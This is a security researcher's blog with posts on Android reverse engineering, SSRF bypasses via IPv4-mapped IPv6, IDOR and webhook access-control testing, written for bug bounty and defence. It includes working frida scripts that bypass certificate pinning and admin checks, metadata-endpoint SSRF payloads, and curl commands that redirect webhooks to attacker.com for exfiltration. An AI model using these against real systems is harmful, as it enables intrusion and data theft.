appsec · security research
~
────────────────────────────────
how every language handles ipv4-mapped ipv6 differently (and why your ssrf protection doesn't work)
the first 30 minutes on a new target
reverse engineering android apps with jadx + frida
finding idors at scale
broken access control in webhook implementations
mitmproxy setup for mobile interception
from code review to cloud takeover — bsides floripa 2026 ↗

a talk on ssrf — from a single google cloud finding to a class of bypasses affecting 5 major open-source projects.
[pt-br · english version coming soon]

i'm a product security engineer at mindbody/classpass. day to day i work on security pipelines, automation, secret scanning, responsible disclosure program, occasional pentests, and ai-augmented analysis of security tool output.

into appsec, supply chain security, bug bounty, and security research. i look for the small detail that makes the whole thing fall apart.

22 cves published. acknowledged by apple, microsoft, and the u.s. department of health and human services.

some of my cves
CVE-2026-34153 rce via localfilevolume fs_path injection critical
CVE-2026-34152 command injection via newline in deployment commands critical
CVE-2026-31943 ssrf protection bypass via ipv4-mapped ipv6 high
GHSA-hg2c-wm3r-f7xx ssrf via missing rfc 6598 range in ip validation high
CVE-2026-33655 ssrf bypass via unresolved hostname in notification urls high
CVE-2026-40172 privilege escalation via superuser group assignment high
GHSA-r745-8hwv-h473 unauth oauth2 refresh — non-blind ssrf + secret exfil high
CVE-2026-32695 ingress rule injection — host restriction bypass medium
← back

reverse engineering android apps with jadx + frida

apr 10, 2026 · 5 min read

most android apps trust the client way too much. hidden endpoints, hardcoded keys, debug flags left in production. all you need is the right toolchain to find them.

the approach is simple: jadx for static analysis, frida for runtime hooking. one shows you the code, the other lets you mess with it while it runs.

start by pulling the apk and throwing it into jadx:

$ adb shell pm path com.target.app
# package:/data/app/~~aB3x9Q==/com.target.app-Kd90p==/base.apk   (android 8+ randomizes this)
$ adb pull /data/app/~~aB3x9Q==/com.target.app-Kd90p==/base.apk   # use the exact path from above
$ jadx base.apk -d output/

look for api endpoints, auth logic, anything interesting. grep is your friend here. search for strings like /api/, Authorization, Bearer, secret.

$ grep -rni "api" output/sources/ | head -20
$ grep -rni "secret\|key\|token" output/sources/

once you find something interesting, hook it with frida to see what's happening at runtime. say you found a client-side isAdmin() check — flipping it won't defeat server-enforced authorization, but it's perfect for unlocking gated UI and seeing what the app could do:

// bypass.js
Java.perform(function() {
  var auth = Java.use("com.target.app.AuthManager");
  auth.isAdmin.implementation = function() {
    console.log("[+] isAdmin() called, returning true");
    return true;
  };
});
$ frida -U -f com.target.app -l bypass.js

certificate pinning? most apps use okhttp or a custom trust manager. the idea is simple — the app validates the server's certificate against a pinned hash. if it doesn't match, the connection drops. but since we control the runtime, we just hook the check and make it always pass.

for okhttp-based pinning, the target is usually CertificatePinner.check():

// ssl_bypass.js
Java.perform(function() {
  var CertPinner = Java.use("okhttp3.CertificatePinner");
  CertPinner.check.overload(
    "java.lang.String",
    "java.util.List"
  ).implementation = function(hostname, peerCerts) {
    console.log("[+] bypassing pin for: " + hostname);
    return;
  };
});

for apps using a custom TrustManager, you need to find the class that implements X509TrustManager and hook checkServerTrusted():

// trustmanager_bypass.js
Java.perform(function() {
  var tm = Java.use("com.target.app.CustomTrustManager");
  tm.checkServerTrusted.implementation = function(chain, authType) {
    console.log("[+] trusting all certs");
    return;
  };
});

run it the same way:

$ frida -U -f com.target.app -l ssl_bypass.js

now the pinning is out of the way. point the device at burp — with burp's CA installed as a system cert (android 7+ apps don't trust user CAs by default; see the mitmproxy post) — and you're intercepting every request the app makes: auth tokens, api calls, everything.

one thing to watch out for: some apps stack multiple pinning layers. you might bypass okhttp but still get blocked by a native check. in that case, look for libssl hooks or use something like objection which covers most common cases out of the box.

the real value isn't in any single trick. it's in chaining static findings with dynamic confirmation. jadx tells you what the code could do. frida tells you what it actually does.

← back

how every language handles ipv4-mapped ipv6 differently (and why your ssrf protection doesn't work)

apr 21, 2026 · 15 min read

i've reported 5 SSRF bypass CVEs in major open-source projects — librechat (35k stars), twenty crm (44k stars), stirling-pdf (77k stars), flowise (47k stars), and new-api (27k stars). all five are ssrf filter bypasses, and the thread running through the two i'll dig into here — librechat and twenty — is this: every programming language handles ipv4-mapped ipv6 addresses differently, and almost nobody knows how their language actually behaves.

this post documents the exact runtime behavior of 7 languages when they encounter ::ffff:127.0.0.1. every output below is from real code execution, not documentation. the results are worse than you think.

what is an ipv4-mapped ipv6 address?

ipv6 has a compatibility feature: you can represent any ipv4 address in ipv6 notation by prepending ::ffff:. so 127.0.0.1 becomes ::ffff:127.0.0.1. same machine, same destination, different notation.

the problem starts when you realize that 169.254.169.254 (the cloud metadata endpoint) can also be written as ::ffff:169.254.169.254. and that 169 in decimal is a9 in hex. and 254 is fe. so 169.254 becomes a9fe. the full address can be written as ::ffff:a9fe:a9fe.

all of these point to the same server:

formstatus against typical ssrf filter
169.254.169.254blocked
::ffff:169.254.169.254depends
::ffff:a9fe:a9febypass
0:0:0:0:0:ffff:a9fe:a9febypass
[::ffff:a9fe:a9fe]bypass

the question is: does your language's standard library help you catch these, or does it make things worse?

node.js v25 — the silent hex converter

node.js has the most dangerous behavior of all tested languages.

when you pass an ipv4-mapped address through new URL(), node's WHATWG URL parser converts the dotted-decimal ipv4 portion to hexadecimal:

new URL('http://[::ffff:169.254.169.254]/').hostname → [::ffff:a9fe:a9fe]
new URL('http://[::ffff:127.0.0.1]/').hostname       → [::ffff:7f00:1]
new URL('http://[::ffff:10.0.0.1]/').hostname        → [::ffff:a00:1]

this is the conversion that broke librechat's ssrf protection. their isPrivateIP function used a regex that matched digits with dots. after new URL(), the hostname contains letters and colons. the regex never matches. bypass.

to make matters worse, node has no built-in isPrivate() or isLoopback() for IP addresses. net.isIP() tells you if it's v4 or v6 but not if it's private. there's exactly one native tool that gets it right — net.BlockList: an ipv4 rule you add does match the ipv4-mapped form, even after the hex normalization (blocklist.check('::ffff:a00:1', 'ipv6') returns true for a blocked 10.0.0.1), and it correctly lets through anything you didn't list. the catch is that almost nobody reaches for it — everyone hand-rolls a regex instead, and that's exactly where the bypass lives.

bottom line: node.js actively transforms your input into a form that bypasses hand-rolled protections — and the one built-in that handles the transformed form, net.BlockList, is the one nobody uses.

python 3.14 — the silent False

python doesn't normalize to hex — ipaddress.ip_address('::ffff:127.0.0.1') preserves the dotted form. and since python 3.12.4, .is_loopback and .is_private correctly return True for ipv4-mapped addresses. if you're on a recent python, the predicates work.

the trap is elsewhere. range-based containment — the approach most ssrf filters actually use — fails silently:

addr = ipaddress.ip_address('::ffff:127.0.0.1')
net = ipaddress.ip_network('127.0.0.0/8')
print(addr in net)  # False — no error, just wrong

an IPv6Address is never "in" an IPv4Network. python doesn't raise a TypeError. it just returns False. your filter thinks the address is safe.

the fix: call .ipv4_mapped first to extract the IPv4Address, then check containment. but most developers don't know .ipv4_mapped exists.

bottom line: python's tools are correct if you know the right incantation. most people don't.

go 1.22 — the api migration trap

go has two IP address APIs, and they behave differently.

the old net.IP API silently collapses ipv4-mapped to ipv4:

net.ParseIP("::ffff:127.0.0.1").String()      → "127.0.0.1"
net.ParseIP("::ffff:127.0.0.1").IsLoopback()   → true

this is actually safe for ssrf filters. the mapping disappears, and the loopback check works.

the modern netip.Addr API does the opposite:

netip.MustParseAddr("::ffff:127.0.0.1").IsLoopback()  → false
netip.MustParseAddr("::ffff:127.0.0.1").IsPrivate()   → false

on netip.Addr, you must call .Unmap() first. without it, all predicates return false for mapped addresses. the "new correct" API is the dangerous one.

bottom line: go developers migrating from net.IP to netip.Addr are introducing ssrf bypasses. the old api was accidentally safer.

java 17 — the implicit unmapper

java takes the opposite approach from everyone else. InetAddress.getByName("::ffff:127.0.0.1") returns an Inet4Address, not an Inet6Address. the mapping vanishes completely:

InetAddress.getByName("::ffff:127.0.0.1").getClass()           → Inet4Address
InetAddress.getByName("::ffff:127.0.0.1").getHostAddress()     → "127.0.0.1"
InetAddress.getByName("::ffff:127.0.0.1").isLoopbackAddress()  → true

if you resolve through InetAddress.getByName() and then check predicates, you're safe. java does the unmapping for you.

bottom line: java is the safest by default, but only if you go through InetAddress. string-based filters still break.

php 8.3 — the FILTER_FLAG footgun

php's filter_var with FILTER_FLAG_NO_PRIV_RANGE is the recommended way to validate IPs in many tutorials. it doesn't work for ipv4-mapped addresses:

filter_var('::ffff:10.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) → valid (accepts!)

the flag only checks ipv4 rfc 1918 ranges. ipv4-mapped ipv6 addresses representing private IPs pass through. every php ssrf guide that recommends FILTER_FLAG_NO_PRIV_RANGE alone is producing vulnerable code.

bottom line: the most commonly recommended php ssrf defense doesn't catch ipv4-mapped addresses.

ruby — got range matching right, fixed its predicates late

ruby's IPAddr has loopback? and private? predicates. for years they both returned false for mapped addresses — and this wasn't just ancient ruby, it persisted through ruby 3.2. private? was fixed in ruby 3.3 (ipaddr 1.2.6, bug #19479) and loopback? a release later in ruby 3.4 (ipaddr 1.2.7). on anything older, the predicates lie. range inclusion, though, actually works across families:

IPAddr.new('127.0.0.0/8').include?(IPAddr.new('::ffff:127.0.0.1'))  # → true

this is the only language tested where a v4 range correctly matches an ipv4-mapped v6 address.

bottom line: ruby got the hard part right (range matching) but the easy part wrong for years — the predicates returned false for mapped until 3.3/3.4, so version matters.

rust 1.95 — explicit but unforgiving

rust parses ipv4-mapped addresses as IpAddr::V6. Ipv6Addr::is_loopback() only checks for ::1, so ::ffff:127.0.0.1 is not considered loopback. there is no is_private() method on Ipv6Addr at all.

let v6: Ipv6Addr = "::ffff:127.0.0.1".parse().unwrap();
v6.is_loopback()                                    // false
v6.to_ipv4_mapped().unwrap().is_loopback()           // true

bottom line: rust makes you do the work explicitly. code that skips the unmapping step is silently broken.

the cross-language summary

language is_loopback? is_private? range match? built-in unmap? normalizes to hex?
node.js no api no api n/a no yes
python yes yes no (silent) .ipv4_mapped no
go (netip) no no n/a .Unmap() no
go (net.IP) yes (auto) partial n/a .To4() no
java yes (auto) yes n/a automatic no
php no accepts! n/a no no
ruby no no yes .native no
rust no no api n/a .to_ipv4_mapped() no

the pattern is clear: in 5 out of 7 languages, the standard predicates fail on ipv4-mapped addresses.

where ssrf filters break

based on these results and the CVEs i've reported, ssrf filters break in four specific ways:

string-prefix filters. any filter that checks hostname.startsWith("127.") or hostname.startsWith("10.") misses every ipv4-mapped form. in node.js it's even worse because the hostname becomes [::ffff:7f00:1] — hex with brackets.

range-based containment. python's ip_address in ip_network returns silent False across families. no error, no warning. the filter thinks the address is safe.

predicate-only checks. calling .is_private() or .is_loopback() directly on the mapped address fails in go (netip), ruby (before 3.3/3.4), rust, and php. only java, recent python, and recent ruby get this right.

missing unmapping step. every language except java requires an explicit unmapping call. if the developer doesn't know this step exists, the filter has a gap.

the minimum viable ssrf guard

based on testing all 7 languages, here's what a correct ssrf filter must do:

1. parse the input as an IP address
2. if it's ipv6, check if it's ipv4-mapped. if so, extract the embedded ipv4 and re-run all checks
3. check against all private ranges: loopback (127/8), rfc 1918 (10/8, 172.16/12, 192.168/16), link-local (169.254/16), cgnat (100.64/10), ipv6 loopback (::1), ipv6 link-local (fe80::/10), ipv6 unique-local (fc00::/7)
4. do all of this after DNS resolution, not on the input string

or better yet: don't implement it yourself. every custom implementation i've audited had at least one gap.

real-world impact

these aren't theoretical concerns. here are 5 ssrf filter-bypass CVEs i reported — two are exactly the ipv4-mapped case above, the other three are related bypasses in the same family (a missing range, an unauth fetch, an unresolved hostname):

librechat (CVE-2026-31943, CVSS 8.5) — node.js URL parser normalized to hex, regex didn't match. 35k stars.
twenty crm (GHSA-vrcj-hv2q-c58m) — same pattern, independent codebase. 44k stars.
stirling-pdf (GHSA-hg2c-wm3r-f7xx) — missing rfc 6598 range. 77k stars, 20M downloads.
flowise (GHSA-r745-8hwv-h473) — unauth oauth2 refresh enabled non-blind ssrf. 47k stars.
new-api (GHSA-6qcr-qxgr-m7fv) — unresolved hostname bypassed ip filter. 27k stars.

230k+ combined stars. five projects, five bypasses — different representations and entry points, but the same root problem: the code that validates an address and the code that connects to it disagree about what it is.

test it yourself

open a node.js terminal and run:

$ node -e "console.log(new URL('http://[::ffff:169.254.169.254]/').hostname)"

if you see [::ffff:a9fe:a9fe], your ssrf filter that checks for 169.254 will never see it.

now go look at your project's isPrivateIP function. does it handle this?

← back

the first 30 minutes on a new target

apr 13, 2026 · 5 min read

when i open a new program, i don't start running tools. i start understanding what the app does.

i sign up, create an account, and use it like a normal user. burp is capturing everything in the background, but i'm not looking at burp yet — i'm looking at the app.

what i'm looking for:

where are the IDs? — every time i see a number or uuid in a url, a request, a response, i take note. /api/org/123/members — that's getting tested later.

what's the permission model? — roles? admin/member/viewer? orgs, teams, projects? the more layers, the higher the chance someone forgot a check somewhere.

what's "mine" vs "theirs"? — if i can see my profile at /users/me, does /users/123 exist? if i can list my projects, can i list another org's?

features that look new — changelogs, product blogs, "new!" badges in the UI. new feature = new code = less tested.

features that look forgotten — export, webhook config, api keys page, advanced settings. nobody tests what nobody uses.

integrations — oauth, webhooks, api tokens, sso. every integration is a new attack surface with its own auth.

after 30 minutes i have a mental list of where to attack. then i open burp, look at the sitemap, and go endpoint by endpoint.

here's the thing most people miss though: don't just test the endpoints you see. read the javascript. apps ship their entire api client in the bundle — routes the UI doesn't use yet, admin endpoints behind feature flags, internal debug paths that never got removed. some of the best bugs i've found were in endpoints hidden in js bundles, not in anything the UI actually exposes. while you're in there, check for an exposed api schema too — /swagger.json, /openapi.json, /api-docs — if one's public it hands you every route and parameter at once.

pull every js file. search for /api/, fetch(, axios., endpoint, admin, internal. build a list of every route the app knows about, not just the ones it shows you. then test those with your low-priv account. that gap — between what the frontend knows and what the frontend shows — is where the best bugs live.

the bugs i'm proudest of didn't come from automated scanning. they came from understanding the app better than whoever tested it before me.

← back

finding idors at scale

apr 03, 2026 · 7 min read

idor — insecure direct object reference. it's been on the owasp top 10 for years and it's still everywhere. the concept is almost embarrassingly simple: change an id in a request, get someone else's data. and yet it remains one of the most rewarding bug classes to hunt for.

i think the reason it persists is that it's not really a coding mistake. it's an architecture mistake. developers build features around objects — users, orders, documents — and forget to ask the most basic question: does this person have permission to access this specific object?

the mindset

the first thing to understand is that idor isn't just "change the id and see what happens." that's the mechanic, not the methodology. the real skill is understanding how the application models ownership and access.

every app has a hierarchy. users belong to organizations. orders belong to users. documents belong to projects. the question is always: where does the app check that chain of ownership, and where does it skip?

most apps get the obvious ones right. /api/users/123/profile probably checks if you're user 123. but what about /api/users/123/invoices? or /api/users/123/api-keys? the deeper you go into the object graph, the more likely someone forgot a check.

the two-account approach

always test with two accounts. always. you can't find access control bugs with a single session. create account A (the victim) and account B (the attacker). use the app fully as account A — create data, upload files, configure settings. then try to access all of it as account B.

this sounds obvious but most people skip it because it's tedious. setting up two accounts with realistic data takes time. but it's the foundation of every idor you'll ever find.

where to look

after testing hundreds of apps, these are the places where idors show up most consistently:

api endpoints that accept an id you didn't choose. if you're making a request and the id came from a url, a dropdown, a hidden field, or a previous api response — that's a candidate. the app gave you that id, but does it verify you should have it?

export and download features. generating a pdf report, exporting csv data, downloading an attachment. these are often built as separate services that receive an object id and return the file. the auth check happens in the main app, but the export service just trusts the id it receives.

notification and activity endpoints. "get my recent activity" or "get my notifications" often leak data because they aggregate from multiple sources. the aggregation layer might not enforce the same permissions as each individual source.

admin and settings endpoints. changing org settings, managing team members, updating billing info. these are high-value targets because the impact of unauthorized access is severe. and they're often less tested because fewer people use them.

GraphQL. graphql makes idor testing interesting because the client controls the query structure. you can ask for nested relationships — "give me this project's organization's other projects" — and find paths the developers never intended to expose.

the uuid trap

a lot of developers think using uuids instead of sequential ids prevents idor. it doesn't. uuids make enumeration harder, but they don't solve the access control problem. if i can get your uuid from anywhere — a shared link, an api response, a websocket message, an email — i can still use it.

places uuids leak constantly: invitation links, public profiles, shared documents, api list endpoints, error messages, and javascript source files. once you have one valid uuid, you can test every endpoint that accepts it.

beyond read access

here's what separates a medium finding from a critical one: don't stop at reading data. test write and delete operations too.

can account B modify account A's profile? update their email address? change their password? that's account takeover through idor — critical severity.

can account B delete account A's projects? remove their team members? cancel their subscription? that's destructive idor — also critical.

most hunters stop at "i can see another user's data." that's valid, but the real impact comes from testing what else you can do with that access.

the subtle ones

the best idors aren't obvious. they hide in features you wouldn't think to test:

— search endpoints that accept a scope or org_id filter and return results from that scope without checking membership
— webhook configurations where you can point someone else's events to your url
— file upload endpoints where the parent_id determines which project the file lands in
— sso and saml flows where the account_id in the assertion isn't validated against the authenticated session
— api key management where you can list or revoke keys belonging to another user

these are the findings that make programs pay attention. not because they're technically complex, but because they show a deep understanding of how the application works.

doing it at scale

testing every request by hand with two sessions gets old fast. what makes this scale is a burp extension that replays traffic for you — autorize or auth analyzer. you browse the app as the victim (account A), and the extension automatically re-issues every request with the attacker's (account B) session, then flags anything that still comes back 200 with the same data. suddenly you're testing hundreds of endpoints for authz drift while you just click around. that's how you go from "change one id" to "audit the whole object graph in one pass."

writing the report

when you find an idor, the report matters as much as the finding. always include: what you accessed, whose data it was, and what an attacker could do with it. don't just say "i changed the id and got a 200." explain the business impact. "an attacker can read any customer's invoices, including billing addresses, payment amounts, and line items" hits different than "idor on /api/invoices/:id."

idor isn't going away. as long as apps have objects and users, there will be missing access checks. the hunters who find them consistently aren't the ones with the best tools — they're the ones who understand the application deeply enough to know where to look.

← back

mitmproxy setup for mobile interception

mar 01, 2026 · 4 min read

intercepting mobile app traffic is the first step in any mobile bug bounty engagement. mitmproxy is my go-to — it's free, scriptable, and works on both android and ios. here's the setup i use every time.

install it:

$ pip install mitmproxy
$ mitmproxy --version

start the proxy. by default it runs on port 8080:

$ mitmproxy -p 8080

now configure your device to use the proxy. your laptop and phone need to be on the same network. find your local ip:

$ ifconfig | grep "inet " | grep -v 127.0.0.1
# inet 192.168.1.42 ...

on your phone, go to wifi settings, set the proxy to manual, enter your ip and port 8080. open a browser and navigate to mitm.it — this page serves the mitmproxy CA certificate.

download and install the cert. on android, this gets you user-level interception which works for most browser traffic. but apps targeting api 24+ only trust system-level certs by default.

to install as a system cert on a rooted android device:

# copy the cert from ~/.mitmproxy/
$ hashed_name=$(openssl x509 -inform PEM \
  -subject_hash_old \
  -in ~/.mitmproxy/mitmproxy-ca-cert.cer \
  | head -1)

$ cp ~/.mitmproxy/mitmproxy-ca-cert.cer $hashed_name.0

# push to device system cert store
$ adb root
$ adb remount
$ adb push $hashed_name.0 /system/etc/security/cacerts/
$ adb shell chmod 644 /system/etc/security/cacerts/$hashed_name.0
$ adb reboot

after reboot, mitmproxy's cert is trusted at the system level. apps that don't implement certificate pinning will now send all traffic through your proxy — no complaints.

one caveat: this system-cert method works on android 13 and below. on android 14+ the trust store moved into the conscrypt apex and /system is read-only under verity, so adb remount + pushing to /system/etc/security/cacerts/ won't stick. on 14+ you either patch the apex cert store (rooted, more involved) or — usually easier — skip the system cert and use frida to disable pinning instead (covered in the jadx + frida post).

for apps that do implement pinning, you'll need frida to bypass it (covered in the jadx + frida post). but the proxy setup stays the same.

some useful mitmproxy flags i use constantly:

# only intercept specific domains
$ mitmproxy --set intercept="~d api.target.com"

# dump traffic to a file for later analysis
$ mitmdump -w traffic.flow

# replay saved traffic
$ mitmdump -r traffic.flow

# run with a custom script (e.g. log all auth tokens)
$ mitmproxy -s log_tokens.py

speaking of scripts — mitmproxy's python api is where it gets really powerful. here's a quick addon that logs every authorization header it sees:

# log_tokens.py
from mitmproxy import http

def request(flow: http.HTTPFlow):
    auth = flow.request.headers.get("Authorization")
    if auth:
        print(f"[+] {flow.request.url}")
        print(f"    Token: {auth}")

run it and every request with an auth header gets logged. useful for understanding how an app handles sessions, token refresh, and multi-account flows.

that's the core setup. proxy running, cert installed, traffic flowing. from here you can start mapping endpoints, fuzzing parameters, and looking for the real bugs.

← back

broken access control in webhook implementations

mar 15, 2026 · 6 min read

webhooks are one of the most overlooked features in web apps. they're usually built late in the development cycle, bolted onto an existing api, and rarely get the same access control scrutiny as the core product. that makes them a goldmine for bac bugs.

the core question is simple: can a low-privileged user create, read, update, or delete webhooks that belong to another user or organization?

start by mapping the webhook api. most implementations follow a predictable pattern:

POST   /api/webhooks          # create
GET    /api/webhooks          # list
GET    /api/webhooks/:id      # read
PUT    /api/webhooks/:id      # update
DELETE /api/webhooks/:id      # delete

create two accounts — one admin, one low-priv. use burp to capture every webhook request from the admin account. then replay each one swapping in the low-priv token.

# create a webhook as low-priv user targeting admin's org
$ curl -X POST https://target.com/api/webhooks \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://attacker.com/hook",
    "events": ["payment.completed"],
    "org_id": "ADMIN_ORG_ID"
  }'

if that returns 201, you just created a webhook in someone else's organization. every time a payment completes, the data goes to your server. that's a critical finding.

but don't stop at create. test every operation independently — they often have different auth checks:

# list another org's webhooks
$ curl -s https://target.com/api/webhooks?org_id=ADMIN_ORG_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" | jq .

# read a specific webhook's config (leaks the destination url)
$ curl -s https://target.com/api/webhooks/WEBHOOK_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" | jq .

# update: redirect an existing webhook to attacker-controlled url
$ curl -X PUT https://target.com/api/webhooks/WEBHOOK_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" \
  -d '{"url": "https://attacker.com/exfil"}'

# delete: disrupt monitoring/integrations
$ curl -X DELETE https://target.com/api/webhooks/WEBHOOK_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN"

the most common patterns i've seen:

create is checked, but update isn't — so you can't make a new webhook in their org, but you can hijack an existing one by changing the destination url. silent data exfiltration.

list and read are often wide open — leaking webhook configs, secrets, and destination urls. even if you can't modify anything, knowing where their data flows is valuable intel.

delete is sometimes unprotected — an attacker could silently break an org's integrations. subtle denial of service that's hard to debug.

another thing to check: webhook secrets. some apps include a signing secret in the response body when you create or read a webhook:

{
  "id": "wh_123",
  "url": "https://customer.com/hook",
  "secret": "whsec_a1b2c3d4e5f6",
  "events": ["payment.completed"]
}

if a low-priv user can read that signing secret, it's a different class of problem: the secret is what the receiver uses to verify a payload really came from the provider. with it, an attacker can forge validly-signed events and deliver them straight to the customer's endpoint, impersonating the provider — the receiver checks the signature, it matches, and it processes the fake event as real.

the ssrf angle

here's the part that's easy to miss on a webhook feature: the destination url is attacker-controlled, and the server is the thing that connects to it. that's a server-side request forgery sink handed to you by design. set (or hijack) a webhook url pointing at http://169.254.169.254/latest/meta-data/ or an internal-only service, trigger the event, and the server makes the request for you. it's usually blind — you don't get the response back — but the server will happily deliver the event to an internal address, and timing or downstream side effects often confirm the reach. any webhook endpoint that accepts an arbitrary url without validating it against the private/reserved ranges (127/8, rfc1918, 169.254/16, 100.64/10, ipv4-mapped, ...) is an ssrf primitive sitting on top of the access-control bugs above.

the fix is straightforward but rarely implemented correctly: every webhook operation should validate that the requesting user has the right role in the target organization. not just auth — authorization. most apps check the first, skip the second.